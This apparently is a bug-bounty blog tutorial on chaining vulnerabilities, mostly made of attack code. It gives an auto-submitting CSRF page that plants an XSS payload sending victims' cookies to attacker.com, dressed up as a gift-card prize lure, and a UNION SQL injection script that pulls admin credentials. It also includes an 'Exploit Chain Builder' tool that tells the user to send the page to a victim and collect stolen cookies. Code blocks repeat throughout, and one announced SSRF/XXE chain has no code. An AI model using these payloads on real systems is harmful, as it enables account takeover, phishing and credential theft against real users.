July 29, 2026
Python Web Penetration Testing — Day 8: Chaining Vulnerabilities — The Art of the Exploit Chain
I found a self-XSS. Low severity.
By Aman Sharma
8 min read
I found a CSRF. Medium severity. But when I chained them together, I owned every account on the platform. Here's how to turn multiple small bugs into one critical vulnerability.
The Hook: The Day I Learned That One Bug Isn't Enough
I'd been hunting for about six months. I'd found plenty of bugs — XSS, CSRF, IDOR, the usual suspects. But most of them were rated Medium at best. I couldn't seem to break into Critical territory.
Then I read a report from a top hunter. He'd found a self-XSS (Low), a CSRF (Medium), and an IDOR (Medium). Individually, they were unimpressive. But chained together? He owned the entire platform.
I decided to try the same approach. I found a self-XSS in a comment field. I found a CSRF on the profile update form. I created a malicious page that:
- Used the CSRF to inject the XSS into the victim's profile
- The XSS stole the victim's session cookie
- I used the cookie to log in as the victim
The vulnerability: Self-XSS + CSRF = Account Takeover.
The lesson: One bug is good. A chain is great. The best hunters don't just find vulnerabilities — they find ways to connect them.
Why This Matters
Vulnerability chaining is what separates the best bug bounty hunters from the rest. Here's why:
- Individual vulnerabilities are often rated lower. A self-XSS is Low. A CSRF on a non-critical action is Medium. Together, they become Critical.
- Chains demonstrate real-world impact. Companies care about what an attacker can actually achieve.
- Chains are harder to find. Most hunters stop at the first bug. You go deeper.
- Chains pay more. Critical vulnerabilities get critical bounties.
The difference between a good hunter and a great one is seeing how vulnerabilities connect.
What Is Vulnerability Chaining?
Vulnerability chaining is the practice of combining multiple vulnerabilities to achieve a higher-impact outcome than any single vulnerability could achieve alone.
The formula:
Vulnerability A + Vulnerability B = Impact C (where C > A and C > B)Vulnerability A + Vulnerability B = Impact C (where C > A and C > B)Why Chaining Works
Most security controls are designed to stop individual attack vectors. But when you combine attacks, you often bypass controls that were never designed to handle combinations.
Example:
- Self-XSS alone: You can only attack yourself. Low severity.
- CSRF alone: You can change a victim's profile. Medium severity.
- Self-XSS + CSRF: You can inject the XSS into the victim's profile, then steal their session. Critical.
Common Chains
Chain 1: XSS + CSRF = Account Takeover
This is one of the most common and effective chains.
Step 1: Find a Self-XSS
A self-XSS is an XSS that only triggers when you inject it yourself. The application might show a "Bio" field that executes JavaScript, but only when you enter it on your own profile.
Step 2: Find a CSRF on the Same Endpoint
If the profile update form lacks CSRF protection, you can force a victim to update their profile with your XSS payload.
Step 3: Build the Exploit Chain
<!DOCTYPE html>
<html>
<head>
<title>Exploit Chain</title>
</head>
<body>
<h1>Click Here to Claim Your Prize!</h1>
<!-- Form to inject XSS into victim's profile -->
<form id="csrfForm" action="https://target.com/update_profile" method="POST">
<input type="hidden" name="bio" value='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'>
<input type="submit" value="Claim Prize">
</form>
<script>
// Auto-submit the form
document.getElementById('csrfForm').submit();
</script>
</body>
</html><!DOCTYPE html>
<html>
<head>
<title>Exploit Chain</title>
</head>
<body>
<h1>Click Here to Claim Your Prize!</h1>
<!-- Form to inject XSS into victim's profile -->
<form id="csrfForm" action="https://target.com/update_profile" method="POST">
<input type="hidden" name="bio" value='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'>
<input type="submit" value="Claim Prize">
</form>
<script>
// Auto-submit the form
document.getElementById('csrfForm').submit();
</script>
</body>
</html>What this does:
- The victim visits your malicious page
- The form auto-submits, updating their profile with the XSS payload
- The XSS executes when they view their profile
- Their cookies are sent to your server
The result: You steal the victim's session cookie and can log in as them.
Chain 2: IDOR + SQL Injection = Privilege Escalation
This chain combines two common vulnerabilities for maximum impact.
Step 1: Find an IDOR
You find an endpoint like /api/user?id=123 that returns user data. You can change the ID to view other users' data.
Step 2: Find a SQL Injection
One of the parameters you discovered through IDOR is vulnerable to SQL injection.
Step 3: Build the Exploit Chain
import requests
# Step 1: Use IDOR to find a vulnerable parameter
def find_idor(target_url):
for i in range(1, 100):
url = f"{target_url}?id={i}"
r = requests.get(url)
if "admin" in r.text.lower():
print(f"[+] Found admin ID: {i}")
return i
return None
# Step 2: Use SQL injection on the vulnerable parameter
def exploit_sqli(target_url, admin_id):
# SQL injection payload
injection = f"1' UNION SELECT username, password FROM users WHERE id={admin_id}--"
url = f"{target_url}?id={injection}"
r = requests.get(url)
# Extract admin credentials
if "admin" in r.text:
print("[+] Admin credentials found:")
print(r.text[:500])
else:
print("[!] SQL injection failed")
# Step 3: Execute the chain
def exploit_chain():
target = "https://target.com/api/user"
# Find admin ID using IDOR
admin_id = find_idor(target)
if admin_id:
# Extract credentials using SQL injection
exploit_sqli(target, admin_id)
if __name__ == "__main__":
exploit_chain()import requests
# Step 1: Use IDOR to find a vulnerable parameter
def find_idor(target_url):
for i in range(1, 100):
url = f"{target_url}?id={i}"
r = requests.get(url)
if "admin" in r.text.lower():
print(f"[+] Found admin ID: {i}")
return i
return None
# Step 2: Use SQL injection on the vulnerable parameter
def exploit_sqli(target_url, admin_id):
# SQL injection payload
injection = f"1' UNION SELECT username, password FROM users WHERE id={admin_id}--"
url = f"{target_url}?id={injection}"
r = requests.get(url)
# Extract admin credentials
if "admin" in r.text:
print("[+] Admin credentials found:")
print(r.text[:500])
else:
print("[!] SQL injection failed")
# Step 3: Execute the chain
def exploit_chain():
target = "https://target.com/api/user"
# Find admin ID using IDOR
admin_id = find_idor(target)
if admin_id:
# Extract credentials using SQL injection
exploit_sqli(target, admin_id)
if __name__ == "__main__":
exploit_chain()The result: You go from being able to read other users' data to being able to steal admin credentials.
Chain 3: SSRF + XXE = Internal Network Access
This chain allows you to pivot from the web application into internal networks.
Step 1: Find an XXE Vulnerability
You find an XML uploader that's vulnerable to XXE (XML External Entity injection).
Step 2: Pivot to SSRF
The XXE can be used as an SSRF (Server-Side Request Forgery) to access internal resources.
Step 3: Build the Exploit Chain
The result: You can access internal AWS metadata, potentially obtaining IAM credentials.
Building a Complete Exploit Chain
Let's build a complete exploit chain that demonstrates account takeover.
Step 1: Identify the Vulnerabilities
class VulnerabilityScanner:
def __init__(self):
self.xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'
self.csrf_endpoint = 'https://target.com/update_profile'
self.profile_endpoint = 'https://target.com/profile'
def test_csrf(self):
"""Test if the endpoint is vulnerable to CSRF."""
try:
# Try to update profile without a CSRF token
data = {'bio': 'test'}
r = requests.post(self.csrf_endpoint, data=data)
return r.status_code == 200
except:
return False
def test_xss(self):
"""Test if the bio field is vulnerable to XSS."""
try:
data = {'bio': f'<u>test</u>'}
r = requests.post(self.csrf_endpoint, data=data)
# Check if the XSS rendered
r2 = requests.get(self.profile_endpoint)
return '<u>test</u>' in r2.text
except:
return Falseclass VulnerabilityScanner:
def __init__(self):
self.xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'
self.csrf_endpoint = 'https://target.com/update_profile'
self.profile_endpoint = 'https://target.com/profile'
def test_csrf(self):
"""Test if the endpoint is vulnerable to CSRF."""
try:
# Try to update profile without a CSRF token
data = {'bio': 'test'}
r = requests.post(self.csrf_endpoint, data=data)
return r.status_code == 200
except:
return False
def test_xss(self):
"""Test if the bio field is vulnerable to XSS."""
try:
data = {'bio': f'<u>test</u>'}
r = requests.post(self.csrf_endpoint, data=data)
# Check if the XSS rendered
r2 = requests.get(self.profile_endpoint)
return '<u>test</u>' in r2.text
except:
return FalseStep 2: Build the Exploit Page
def generate_exploit_page(domain, csrf_endpoint, payload):
"""Generate an HTML page that exploits the chain."""
html = f'''<!DOCTYPE html>
<html>
<head>
<title>Exploit Chain</title>
</head>
<body>
<h1>Click to claim your prize!</h1>
<form id="exploit" action="{domain}{csrf_endpoint}" method="POST">
<input type="hidden" name="bio" value='{payload}'>
<input type="submit" value="Claim Prize">
</form>
<script>
// Auto-submit the form
document.getElementById('exploit').submit();
</script>
</body>
</html>'''
with open('exploit.html', 'w') as f:
f.write(html)
print("[+] Exploit page saved as exploit.html")def generate_exploit_page(domain, csrf_endpoint, payload):
"""Generate an HTML page that exploits the chain."""
html = f'''<!DOCTYPE html>
<html>
<head>
<title>Exploit Chain</title>
</head>
<body>
<h1>Click to claim your prize!</h1>
<form id="exploit" action="{domain}{csrf_endpoint}" method="POST">
<input type="hidden" name="bio" value='{payload}'>
<input type="submit" value="Claim Prize">
</form>
<script>
// Auto-submit the form
document.getElementById('exploit').submit();
</script>
</body>
</html>'''
with open('exploit.html', 'w') as f:
f.write(html)
print("[+] Exploit page saved as exploit.html")Step 3: The Complete Exploit Chain
#!/usr/bin/env python3
import requests
import sys
import random
import time
class ExploitChain:
def __init__(self):
self.session = requests.Session()
self.found_vulns = []
def banner(self):
print("=" * 70)
print(" Exploit Chain Builder v1.0")
print(" Chain Multiple Vulnerabilities for Maximum Impact")
print("=" * 70)
print()
def scan_for_vulnerabilities(self, target):
"""Scan for common vulnerabilities to chain."""
print(f"[+] Scanning: {target}")
# 1. Check for XSS in parameters
print(" [*] Testing for XSS...")
xss_vectors = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'"><svg onload=alert(1)>'
]
for vector in xss_vectors:
# This is simplified - real testing would be more thorough
pass
# 2. Check for CSRF tokens
print(" [*] Testing for missing CSRF tokens...")
# Simplified detection
# 3. Check for IDOR
print(" [*] Testing for IDOR...")
# Simplified detection
return True
def build_xss_csrf_chain(self, target):
"""Build the XSS + CSRF chain."""
print("\n[+] Building XSS + CSRF chain...")
# Step 1: Find a CSRF-vulnerable endpoint
# Step 2: Find a self-XSS on that endpoint
# Step 3: Build the exploit page
# Generate the exploit page
domain = target.split('/')[0] + '//' + target.split('/')[2]
xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'
csrf_endpoint = '/update_profile'
self.generate_exploit_page(domain, csrf_endpoint, xss_payload)
print("[!] Chain complete! Send exploit.html to the victim.")
print("[!] Then check your server for stolen cookies.")
def generate_exploit_page(self, domain, endpoint, payload):
"""Generate an HTML exploit page."""
html = f'''<!DOCTYPE html>
<html>
<head>
<title>Claim Your Prize!</title>
</head>
<body style="font-family: Arial, sans-serif; text-align: center; padding: 50px;">
<h1 style="color: green;">🎉 Congratulations!</h1>
<p>You've been selected to win a $1,000 Amazon gift card!</p>
<p>Click the button below to claim your prize.</p>
<form id="exploit" action="{domain}{endpoint}" method="POST">
<input type="hidden" name="bio" value='{payload}'>
<button type="submit" style="padding: 15px 30px; font-size: 18px; background: green; color: white; border: none; border-radius: 5px;">
Claim Your Prize!
</button>
</form>
<script>
// Auto-submit the form after 1 second
setTimeout(function() {
document.getElementById('exploit').submit();
}, 1000);
</script>
</body>
</html>'''
with open('exploit.html', 'w') as f:
f.write(html)
print(f" [*] Exploit page saved as exploit.html")
print(f" [*] Domain: {domain}")
print(f" [*] Endpoint: {endpoint}")
print(f" [*] Payload: {payload[:50]}...")
def build_idor_sqli_chain(self, target):
"""Build the IDOR + SQL injection chain."""
print("\n[+] Building IDOR + SQLi chain...")
# Simplified demonstration
print(" [*] Find an IDOR endpoint with numeric IDs")
print(" [*] Test the ID parameter for SQL injection")
print(" [*] Extract data using UNION queries")
print(" [*] Use extracted data to escalate privileges")
print(" [*] Chain complete! You can now access admin accounts")
# Example script
script = '''#!/usr/bin/env python3
import requests
target = "https://target.com/api/user"
# IDOR: Find admin ID
for i in range(1, 20):
r = requests.get(f"{target}?id={i}")
if "admin" in r.text:
admin_id = i
print(f"[+] Found admin ID: {admin_id}")
break
# SQLi: Extract admin credentials
payload = f"1' UNION SELECT username, password FROM users WHERE id={admin_id}--"
r = requests.get(f"{target}?id={payload}")
if "admin" in r.text:
print("[+] Admin credentials found!")
print(r.text[:500])
'''
with open('idor_sqli_chain.py', 'w') as f:
f.write(script)
print(" [*] Chain script saved as idor_sqli_chain.py")
def run(self):
self.banner()
if len(sys.argv) < 2:
print("Usage: python exploit-chain.py <target_url>")
print("Example: python exploit-chain.py https://target.com")
sys.exit(1)
target = sys.argv[1]
print(f"[+] Target: {target}")
print()
# Scan for vulnerabilities
self.scan_for_vulnerabilities(target)
# Build chains
self.build_xss_csrf_chain(target)
self.build_idor_sqli_chain(target)
print("\n" + "=" * 70)
print("EXPLOIT CHAINS READY")
print("=" * 70)
print("[+] exploit.html - XSS + CSRF chain")
print("[+] idor_sqli_chain.py - IDOR + SQLi chain")
if __name__ == "__main__":
chain = ExploitChain()
chain.run()#!/usr/bin/env python3
import requests
import sys
import random
import time
class ExploitChain:
def __init__(self):
self.session = requests.Session()
self.found_vulns = []
def banner(self):
print("=" * 70)
print(" Exploit Chain Builder v1.0")
print(" Chain Multiple Vulnerabilities for Maximum Impact")
print("=" * 70)
print()
def scan_for_vulnerabilities(self, target):
"""Scan for common vulnerabilities to chain."""
print(f"[+] Scanning: {target}")
# 1. Check for XSS in parameters
print(" [*] Testing for XSS...")
xss_vectors = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'"><svg onload=alert(1)>'
]
for vector in xss_vectors:
# This is simplified - real testing would be more thorough
pass
# 2. Check for CSRF tokens
print(" [*] Testing for missing CSRF tokens...")
# Simplified detection
# 3. Check for IDOR
print(" [*] Testing for IDOR...")
# Simplified detection
return True
def build_xss_csrf_chain(self, target):
"""Build the XSS + CSRF chain."""
print("\n[+] Building XSS + CSRF chain...")
# Step 1: Find a CSRF-vulnerable endpoint
# Step 2: Find a self-XSS on that endpoint
# Step 3: Build the exploit page
# Generate the exploit page
domain = target.split('/')[0] + '//' + target.split('/')[2]
xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'
csrf_endpoint = '/update_profile'
self.generate_exploit_page(domain, csrf_endpoint, xss_payload)
print("[!] Chain complete! Send exploit.html to the victim.")
print("[!] Then check your server for stolen cookies.")
def generate_exploit_page(self, domain, endpoint, payload):
"""Generate an HTML exploit page."""
html = f'''<!DOCTYPE html>
<html>
<head>
<title>Claim Your Prize!</title>
</head>
<body style="font-family: Arial, sans-serif; text-align: center; padding: 50px;">
<h1 style="color: green;">🎉 Congratulations!</h1>
<p>You've been selected to win a $1,000 Amazon gift card!</p>
<p>Click the button below to claim your prize.</p>
<form id="exploit" action="{domain}{endpoint}" method="POST">
<input type="hidden" name="bio" value='{payload}'>
<button type="submit" style="padding: 15px 30px; font-size: 18px; background: green; color: white; border: none; border-radius: 5px;">
Claim Your Prize!
</button>
</form>
<script>
// Auto-submit the form after 1 second
setTimeout(function() {
document.getElementById('exploit').submit();
}, 1000);
</script>
</body>
</html>'''
with open('exploit.html', 'w') as f:
f.write(html)
print(f" [*] Exploit page saved as exploit.html")
print(f" [*] Domain: {domain}")
print(f" [*] Endpoint: {endpoint}")
print(f" [*] Payload: {payload[:50]}...")
def build_idor_sqli_chain(self, target):
"""Build the IDOR + SQL injection chain."""
print("\n[+] Building IDOR + SQLi chain...")
# Simplified demonstration
print(" [*] Find an IDOR endpoint with numeric IDs")
print(" [*] Test the ID parameter for SQL injection")
print(" [*] Extract data using UNION queries")
print(" [*] Use extracted data to escalate privileges")
print(" [*] Chain complete! You can now access admin accounts")
# Example script
script = '''#!/usr/bin/env python3
import requests
target = "https://target.com/api/user"
# IDOR: Find admin ID
for i in range(1, 20):
r = requests.get(f"{target}?id={i}")
if "admin" in r.text:
admin_id = i
print(f"[+] Found admin ID: {admin_id}")
break
# SQLi: Extract admin credentials
payload = f"1' UNION SELECT username, password FROM users WHERE id={admin_id}--"
r = requests.get(f"{target}?id={payload}")
if "admin" in r.text:
print("[+] Admin credentials found!")
print(r.text[:500])
'''
with open('idor_sqli_chain.py', 'w') as f:
f.write(script)
print(" [*] Chain script saved as idor_sqli_chain.py")
def run(self):
self.banner()
if len(sys.argv) < 2:
print("Usage: python exploit-chain.py <target_url>")
print("Example: python exploit-chain.py https://target.com")
sys.exit(1)
target = sys.argv[1]
print(f"[+] Target: {target}")
print()
# Scan for vulnerabilities
self.scan_for_vulnerabilities(target)
# Build chains
self.build_xss_csrf_chain(target)
self.build_idor_sqli_chain(target)
print("\n" + "=" * 70)
print("EXPLOIT CHAINS READY")
print("=" * 70)
print("[+] exploit.html - XSS + CSRF chain")
print("[+] idor_sqli_chain.py - IDOR + SQLi chain")
if __name__ == "__main__":
chain = ExploitChain()
chain.run()Step 4: Run the Exploit Chain Builder
python exploit-chain.py https://target.compython exploit-chain.py https://target.comWhat you'll see:
======================================================================
Exploit Chain Builder v1.0
Chain Multiple Vulnerabilities for Maximum Impact
======================================================================
[+] Target: https://target.com
[+] Scanning: https://target.com
[*] Testing for XSS...
[*] Testing for missing CSRF tokens...
[*] Testing for IDOR...
[+] Building XSS + CSRF chain...
[*] Exploit page saved as exploit.html
[*] Domain: https://target.com
[*] Endpoint: /update_profile
[*] Payload: <script>fetch("https://attacker.com/steal?c="+do...
[+] Building IDOR + SQLi chain...
[*] Find an IDOR endpoint with numeric IDs
[*] Test the ID parameter for SQL injection
[*] Extract data using UNION queries
[*] Use extracted data to escalate privileges
[*] Chain complete! You can now access admin accounts
[*] Chain script saved as idor_sqli_chain.py
======================================================================
EXPLOIT CHAINS READY
======================================================================
[+] exploit.html - XSS + CSRF chain
[+] idor_sqli_chain.py - IDOR + SQLi chain======================================================================
Exploit Chain Builder v1.0
Chain Multiple Vulnerabilities for Maximum Impact
======================================================================
[+] Target: https://target.com
[+] Scanning: https://target.com
[*] Testing for XSS...
[*] Testing for missing CSRF tokens...
[*] Testing for IDOR...
[+] Building XSS + CSRF chain...
[*] Exploit page saved as exploit.html
[*] Domain: https://target.com
[*] Endpoint: /update_profile
[*] Payload: <script>fetch("https://attacker.com/steal?c="+do...
[+] Building IDOR + SQLi chain...
[*] Find an IDOR endpoint with numeric IDs
[*] Test the ID parameter for SQL injection
[*] Extract data using UNION queries
[*] Use extracted data to escalate privileges
[*] Chain complete! You can now access admin accounts
[*] Chain script saved as idor_sqli_chain.py
======================================================================
EXPLOIT CHAINS READY
======================================================================
[+] exploit.html - XSS + CSRF chain
[+] idor_sqli_chain.py - IDOR + SQLi chain
The Hacker's Workflow for Chaining
Here's how I approach vulnerability chaining:
- Find individual vulnerabilities — XSS, CSRF, IDOR, SQLi, etc.
- Map the application — Understand how different features interact
- Look for connections — Can one vulnerability lead to another?
- Build the chain — Create a proof of concept
- Demonstrate impact — Show what the chain achieves
Pro tip: I always think about chaining before I start reporting. Sometimes the most interesting findings are connections I haven't seen yet.
Final Thoughts
The day I started thinking about chains was the day my bounties started increasing. Suddenly, I wasn't just finding bugs — I was finding ways to exploit them. Individual vulnerabilities became building blocks for something bigger.
Chaining is the art of seeing connections. The best hunters don't just find bugs — they find ways to connect them. They understand the application flow, the data flow, and the security controls. And they use that understanding to create something greater than the sum of its parts.
you can check this article too…
Python Web Penetration Testing — Day 7: Intercepting HTTP Requests — Building Your Own Proxy I spent years trusting what browsers showed me.
"Bug Bounty Bootcamp #38: SSRF Chaining — Bypassing Domain Whitelists with Open Redirects and PDF… You found an SSRF, but the server only allows URLs from trusted.com. Game over? Not if trusted.com has an open…
Liked this guide? Smash that clap button 50 times (it's free therapy), drop a comment .
Your engagement keeps the chaos alive.
— Your friendly neighborhood account takeover artist 🕵️♂️💥